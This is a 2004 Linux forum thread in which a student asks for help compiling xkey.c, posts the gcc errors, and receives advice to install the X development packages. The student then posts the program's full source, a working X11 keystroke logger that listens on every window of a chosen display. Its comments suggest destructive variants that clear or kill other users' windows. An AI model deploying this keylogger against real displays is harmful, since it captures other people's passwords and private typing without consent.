LinuxQuestions.org
Share your knowledge at the LQ Wiki.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Software
User Name
Password
Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.

Notices


Reply
  Search this Thread
Old 10-25-2004, 10:46 PM   #1
Emist
LQ Newbie
 
Registered: Oct 2004
Posts: 15

Rep: Reputation: 0
XKEY compilation


After a few unsuccessful attempts at compiling xkey.c and a few hours of searching online and reading man pages I have decided to finally ask for help. I have recently begun using linux for network maintenance and administration classes at uni so I assume my mistake is a pretty simple one. I am running SuSe9.1 personal and downloaded gcc. When I try to compile xkey.c I get the following errors:
Code:
XKEY.C:12:19: X11/X.h: No such file or directory
XKEY.C:13:22: X11/Xlib.h: No such file or directory
XKEY.C:14:27: X11/Intrinsic.h: No such file or directory
XKEY.C:15:28: X11/StringDefs.h: No such file or directory
XKEY.C:16:23: X11/Xutil.h: No such file or directory
XKEY.C:17:23: X11/Shell.h: No such file or directory
XKEY.C:18: error: `XEvent' was not declared in this scope
XKEY.C:18: error: `ev' was not declared in this scope
XKEY.C:19: error: syntax error before `*' token
XKEY.C:20: error: `Window' was not declared in this scope
XKEY.C:20: error: syntax error before `,' token
XKEY.C: In function `void snoop_all_windows(...)':
XKEY.C:23: error: `Window' undeclared (first use this function)
XKEY.C:23: error: (Each undeclared identifier is reported only once for each
   function it appears in.)
XKEY.C:23: error: syntax error before `,' token
XKEY.C:27: error: `d' undeclared (first use this function)
XKEY.C:27: error: `root' undeclared (first use this function)
XKEY.C:27: error: `parent' undeclared (first use this function)
XKEY.C:27: error: `children' undeclared (first use this function)
XKEY.C:27: error: `XQueryTree' undeclared (first use this function)
XKEY.C:28: error: `FALSE' undeclared (first use this function)
XKEY.C:44: error: `type' undeclared (first use this function)
XKEY.C:44: error: `XSelectInput' undeclared (first use this function)
XKEY.C:50: error: `XFree' undeclared (first use this function)
XKEY.C: At global scope:
XKEY.C:53: error: `main' must return `int'
XKEY.C: In function `int main(...)':
XKEY.C:56: error: `XEvent' undeclared (first use this function)
XKEY.C:56: error: syntax error before `;' token
XKEY.C:62: error: `XOpenDisplay' undeclared (first use this function)
XKEY.C:66: error: `exit' undeclared (first use this function)
XKEY.C:68: error: `DefaultRootWindow' undeclared (first use this function)
XKEY.C:68: error: `KeyPressMask' undeclared (first use this function)
XKEY.C:71: error: `xev' undeclared (first use this function)
XKEY.C:71: error: `XNextEvent' undeclared (first use this function)
XKEY.C:72: error: `TranslateKeyCode' cannot be used as a function
XKEY.C:77: error: `strlen' undeclared (first use this function)
XKEY.C: At global scope:
XKEY.C:86: error: `ev' was not declared in this scope
XKEY.C:87: error: redefinition of `char*TranslateKeyCode'
XKEY.C:18: error: `char*TranslateKeyCode' previously defined here
XKEY.C:87: error: syntax error before `{' token
XKEY.C:90: error: 'KeySym' is used as a type, but is not defined as a type.
XKEY.C:91: error: syntax error before `if'
XKEY.C:94: error: `count' was not declared in this scope
XKEY.C:94: error: ISO C++ forbids declaration of `key_buff' with no type
XKEY.C:94: error: assignment (not initialization) in declaration
XKEY.C:95: error: syntax error before `if'
Any help would be appreciated. Thanks in advance.
 
Old 10-25-2004, 11:18 PM   #2
winsnomore
Member
 
Registered: May 2004
Location: USA
Distribution: #1 PCLinuxOS -- for laughs -> Ubuntu, Suse, Mepis
Posts: 315

Rep: Reputation: 31
you need development package for X installed before you compile any of hte stuff ..
 
Old 10-26-2004, 03:13 PM   #3
Emist
LQ Newbie
 
Registered: Oct 2004
Posts: 15

Original Poster
Rep: Reputation: 0
Ah! Thanks for that, I have the libs now and the error output has reduced from over 20 to less than 6 lines.
This is what I get now:

Code:
XKEY.C:53: error: `main' must return `int'
XKEY.C: In function `int main(...)':
XKEY.C:66: error: `exit' undeclared (first use this function)
XKEY.C:66: error: (Each undeclared identifier is reported only once for each
   function it appears in.)
Seems like an undeclared variable but I dont know C. First thing im going to learn after midterm!!

Well here is the source code for xkey in case anyone would like to look at it.

Code:
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>
char *TranslateKeyCode(XEvent *ev);
Display *d;
void snoop_all_windows(Window root, unsigned long type)
{
  static int level = 0;
  Window parent, *children, *child2;
  unsigned int nchildren;
  int stat, i,j,k;
  level++;
  stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  if (stat == FALSE)
   {
     fprintf(stderr, "Can't query window tree...\n");
     return;
   }
  if (nchildren == 0)
    return;
  /* For a more drastic inidication of the problem being exploited
   * here, you can change these calls to XSelectInput() to something
   * like XClearWindow(d, children[i]) or if you want to be real
   * nasty, do XKillWindow(d, children[i]).  Of course if you do that,
   * then you'll want to remove the loop in main().
   *
   * The whole point of this exercise being that I shouldn't be
   * allowed to manipulate resources which do not belong to me.
   */
  XSelectInput(d, root, type);
  for(i=0; i < nchildren; i++)
   {
     XSelectInput(d, children[i], type);
     snoop_all_windows(children[i], type);
   }
  XFree((char *)children);
}
void main(int argc, char **argv)
{
  char *hostname;
  char *string;
  XEvent xev;
  int count = 0;
  if (argv[1] == NULL)
    hostname = ":0";
  else
    hostname = argv[1];
  d = XOpenDisplay(hostname);
  if (d == NULL)
   {
     fprintf(stderr, "Blah, can't open display: %s\n", hostname);
     exit(10);
   }
  snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
  while(1)
   {
     XNextEvent(d, &xev);
     string = TranslateKeyCode(&xev);
     if (string == NULL)
       continue;
     if (*string == '\r')
       printf("\n");
     else if (strlen(string) == 1)
       printf("%s", string);
     else
       printf("<<%s>>", string);
     fflush(stdout);
   }
}
#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];
char *TranslateKeyCode(XEvent *ev)
{
  int count;
  char *tmp;
  KeySym ks;
  if (ev)
   {
     count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
     key_buff[count] = '\0';
     if (count == 0)
      {
        tmp = XKeysymToString(ks);
        if (tmp)
          strcpy(key_buff, tmp);
        else
          strcpy(key_buff, "");
      }
     return key_buff;
   }
  else
    return NULL;
}

Last edited by Emist; 10-26-2004 at 03:15 PM.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
compilation? itz2000 Programming 19 11-11-2005 02:25 PM
Compilation arunachalam Linux - General 3 11-10-2005 05:11 PM
Qt compilation nitin_kataria Programming 1 10-13-2003 04:33 PM
Compilation HoRrIdPrObLeMs Programming 2 03-12-2002 02:52 PM
Compilation mikeshn Programming 2 03-03-2002 10:08 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Software

All times are GMT -5. The time now is 05:25 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration